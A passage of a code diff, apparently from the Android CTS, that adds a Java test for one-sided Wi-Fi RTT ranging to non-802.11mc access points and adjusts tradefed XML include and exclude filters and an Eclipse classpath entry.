                 "Cannot find any test APs which support RTT / IEEE 802.11mc - please verify that "
                         + "your test setup includes them!", testAp);
@@ -416,4 +432,140 @@
         assertNotNull("Wi-Fi RTT results: null results", rangingResults);
         assertEquals("Invalid peerHandle should return 0 result", 0, rangingResults.size());
     }
+
+    /**
+     * Test Wi-Fi One-sided RTT ranging operation:
+     * - Scan for visible APs for the test AP (which do not support IEEE 802.11mc) and are operating
+     * - in the 5GHz band.
+     * - Perform N (constant) RTT operations
+     * - Validate:
+     *   - Failure ratio < threshold (constant)
+     *   - Result margin < threshold (constant)
+     */
+    public void testRangingToTestNon11mcAp() throws InterruptedException {
+        if (!shouldTestWifiRtt(getContext()) || !BuildCompat.isAtLeastS()) {
+            return;
+        }
+
+        // Scan for Non-IEEE 802.11mc supporting APs
+        ScanResult testAp = scanForTestNon11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+        assertNotNull(
+                "Cannot find any test APs which are Non-IEEE 802.11mc - please verify that"
+                        + " your test setup includes them!", testAp);
+        // Perform RTT operations
+        RangingRequest.Builder builder = new RangingRequest.Builder();
+        builder.addNon80211mcCapableAccessPoint(testAp);
+        builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
+        RangingRequest request = builder.build();
+
+        List<RangingResult> allResults = new ArrayList<>();
+        int numFailures = 0;
+        int distanceSum = 0;
+        int distanceMin = 0;
+        int distanceMax = 0;
+        int[] statuses = new int[NUM_OF_RTT_ITERATIONS];
+        int[] distanceMms = new int[NUM_OF_RTT_ITERATIONS];
+        int[] distanceStdDevMms = new int[NUM_OF_RTT_ITERATIONS];
+        int[] rssis = new int[NUM_OF_RTT_ITERATIONS];
+        int[] numAttempted = new int[NUM_OF_RTT_ITERATIONS];
+        int[] numSuccessful = new int[NUM_OF_RTT_ITERATIONS];
+        long[] timestampsMs = new long[NUM_OF_RTT_ITERATIONS];
+        byte[] lastLci = null;
+        byte[] lastLcr = null;
+        for (int i = 0; i < NUM_OF_RTT_ITERATIONS; ++i) {
+            ResultCallback callback = new ResultCallback();
+            mWifiRttManager.startRanging(request, mExecutor, callback);
+            assertTrue("Wi-Fi RTT results: no callback on iteration " + i,
+                    callback.waitForCallback());
+
+            List<RangingResult> currentResults = callback.getResults();
+            assertNotNull("Wi-Fi RTT results: null results (onRangingFailure) on iteration " + i,
+                    currentResults);
+            assertEquals("Wi-Fi RTT results: unexpected # of results (expect 1) on iteration " + i,
+                    1, currentResults.size());
+            RangingResult result = currentResults.get(0);
+            assertEquals("Wi-Fi RTT results: invalid result (wrong BSSID) entry on iteration " + i,
+                    result.getMacAddress().toString(), testAp.BSSID);
+
+            assertNull("Wi-Fi RTT results: invalid result (non-null PeerHandle) entry on iteration "
+                    + i, result.getPeerHandle());
+
+            allResults.add(result);
+            int status = result.getStatus();
+            statuses[i] = status;
+            if (status == RangingResult.STATUS_SUCCESS) {
+                distanceSum += result.getDistanceMm();
+                if (i == 0) {
+                    distanceMin = result.getDistanceMm();
+                    distanceMax = result.getDistanceMm();
+                } else {
+                    distanceMin = Math.min(distanceMin, result.getDistanceMm());
+                    distanceMax = Math.max(distanceMax, result.getDistanceMm());
+                }
+
+                assertTrue("Wi-Fi RTT results: invalid RSSI on iteration " + i,
+                        result.getRssi() >= MIN_VALID_RSSI);
+
+                distanceMms[i - numFailures] = result.getDistanceMm();
+                distanceStdDevMms[i - numFailures] = result.getDistanceStdDevMm();
+                rssis[i - numFailures] = result.getRssi();
+                // For one-sided RTT the number of packets attempted in a burst is not available,
+                // So we set the result to be the same as used in the request.
+                numAttempted[i - numFailures] = request.getRttBurstSize();
+                numSuccessful[i - numFailures] = result.getNumSuccessfulMeasurements();
+                timestampsMs[i - numFailures] = result.getRangingTimestampMillis();
+
+                byte[] currentLci = result.getLci();
+                byte[] currentLcr = result.getLcr();
+                if (i - numFailures > 0) {
+                    assertTrue("Wi-Fi RTT results: invalid result (LCI mismatch) on iteration " + i,
+                            Arrays.equals(currentLci, lastLci));
+                    assertTrue("Wi-Fi RTT results: invalid result (LCR mismatch) on iteration " + i,
+                            Arrays.equals(currentLcr, lastLcr));
+                }
+                lastLci = currentLci;
+                lastLcr = currentLcr;
+            } else {
+                numFailures++;
+            }
+            // Sleep a while to avoid stress AP.
+            Thread.sleep(intervalMs);
+        }
+        // Save results to log
+        int numGoodResults = NUM_OF_RTT_ITERATIONS - numFailures;
+        DeviceReportLog reportLog = new DeviceReportLog(TAG, "testRangingToTestAp");
+        reportLog.addValues("status_codes", statuses, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("distance_mm", Arrays.copyOf(distanceMms, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("distance_stddev_mm", Arrays.copyOf(distanceStdDevMms, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("rssi_dbm", Arrays.copyOf(rssis, numGoodResults), ResultType.NEUTRAL,
+                ResultUnit.NONE);
+        reportLog.addValues("num_attempted", Arrays.copyOf(numAttempted, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("num_successful", Arrays.copyOf(numSuccessful, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValues("timestamps", Arrays.copyOf(timestampsMs, numGoodResults),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.submit();
+
+        // Analyze results
+        assertTrue("Wi-Fi RTT failure rate exceeds threshold: FAIL=" + numFailures + ", ITERATIONS="
+                        + NUM_OF_RTT_ITERATIONS + ", AP RSSI=" + testAp.level
+                        + ", AP SSID=" + testAp.SSID,
+                numFailures <= NUM_OF_RTT_ITERATIONS * MAX_FAILURE_RATE_PERCENT / 100);
+        if (numFailures != NUM_OF_RTT_ITERATIONS) {
+            double distanceAvg = (double) distanceSum / (NUM_OF_RTT_ITERATIONS - numFailures);
+            assertTrue("Wi-Fi RTT: Variation (max direction) exceeds threshold, Variation ="
+                            + (distanceMax - distanceAvg),
+                    (distanceMax - distanceAvg) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
+            assertTrue("Wi-Fi RTT: Variation (min direction) exceeds threshold, Variation ="
+                            + (distanceAvg - distanceMin),
+                    (distanceAvg - distanceMin) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
+            for (int i = 0; i < numGoodResults; ++i) {
+                assertNotSame("Number of attempted measurements is 0", 0, numAttempted[i]);
+                assertNotSame("Number of successful measurements is 0", 0, numSuccessful[i]);
+            }
+        }
+    }
 }
diff --git a/tools/cts-tradefed/res/config/cts-meerkat.xml b/tools/cts-tradefed/res/config/cts-meerkat.xml
index 99ac0ee..c95efe1 100644
--- a/tools/cts-tradefed/res/config/cts-meerkat.xml
+++ b/tools/cts-tradefed/res/config/cts-meerkat.xml
@@ -22,6 +22,15 @@
     <!-- Disable instant tests -->
     <option name="compatibility:enable-parameterized-modules" value="false" />
 
+    <!-- Status bar, trampolines & close system dialogs -->
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.StatusBarManagerTest#testCollapsePanels_withoutStatusBarPermission_throws"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.StatusBarManagerTest#testCollapsePanels_withStatusBarPermission_doesNotThrow"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnBroadcastTrampoline_isBlocked"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnServiceTrampoline_isBlocked"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnBroadcastTrampoline_whenApi30_isAllowed"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnServiceTrampoline_whenApi30_isAllowed"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.CloseSystemDialogsTest"/>
+
     <!-- Overlays & touches -->
     <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.WindowInputTests"/>
     <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.WindowUntrustedTouchTest"/>
@@ -29,6 +38,7 @@
 
     <!-- System Alert Window (SAW) -->
     <option name="compatibility:include-filter" value="CtsSystemIntentTestCases"/>
+    <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.HideOverlayWindowsTest"/>
     <option name="compatibility:include-filter" value="CtsMediaTestCases android.media.cts.MediaProjectionTest"/>
 
     <!-- Toasts -->
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 0aad033..2e576cd 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -59,9 +59,6 @@
     <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOptionsMenuKey" />
     <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts" />
 
-    <!-- b/71958344: Exclude until CTS releases it -->
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.OverlayHostTest#testInstallingOverlayHasNoEffect" />
-
     <!-- b/161837932: Fix MediaPlayerTests that use "too small" resolution -->
     <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testOnSubtitleDataListener" />
     <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testChangeSubtitleTrack" />
@@ -126,9 +123,6 @@
     <!-- b/110417203: Flaky tests -->
     <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidTagStateDetails" />
 
-    <!-- b/80077786: MyVerizonServices fail -->
-    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
-
     <!-- b/111101428: CtsOsTestCases irrelevant test cases -->
     <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.BuildTest#testIsSecureUserBuild" />
     <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.BuildVersionTest#testBuildFingerprint" />
diff --git a/tools/cts-tradefed/res/config/cts-sim-include.xml b/tools/cts-tradefed/res/config/cts-sim-include.xml
index 1614c18..2b9994f 100644
--- a/tools/cts-tradefed/res/config/cts-sim-include.xml
+++ b/tools/cts-tradefed/res/config/cts-sim-include.xml
@@ -32,6 +32,7 @@
     <option name="compatibility:include-filter" value="CtsSecureElementAccessControlTestCases3" />
     <option name="compatibility:include-filter" value="CtsSimRestrictedApisTestCases" />
     <option name="compatibility:include-filter" value="CtsStatsdHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsStatsdAtomHostTestCases" />
     <option name="compatibility:include-filter" value="CtsTelecomTestCases" />
     <option name="compatibility:include-filter" value="CtsTelecomTestCases2" />
     <option name="compatibility:include-filter" value="CtsTelecomTestCases3" />
diff --git a/tools/cts-tradefed/tests/.classpath b/tools/cts-tradefed/tests/.classpath
index 2226a16..bd4f759 100644
--- a/tools/cts-tradefed/tests/.classpath
+++ b/tools/cts-tradefed/tests/.classpath
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <classpath>
-	<classpathentry kind="src" path="src"/>
+	<classpathentry excluding="Android.bp" kind="src" path="src"/>
 	<classpathentry combineaccessrules="false" kind="src" path="/tradefederation"/>
 	<classpathentry combineaccessrules="false" kind="src" path="/cts-tradefed"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-9">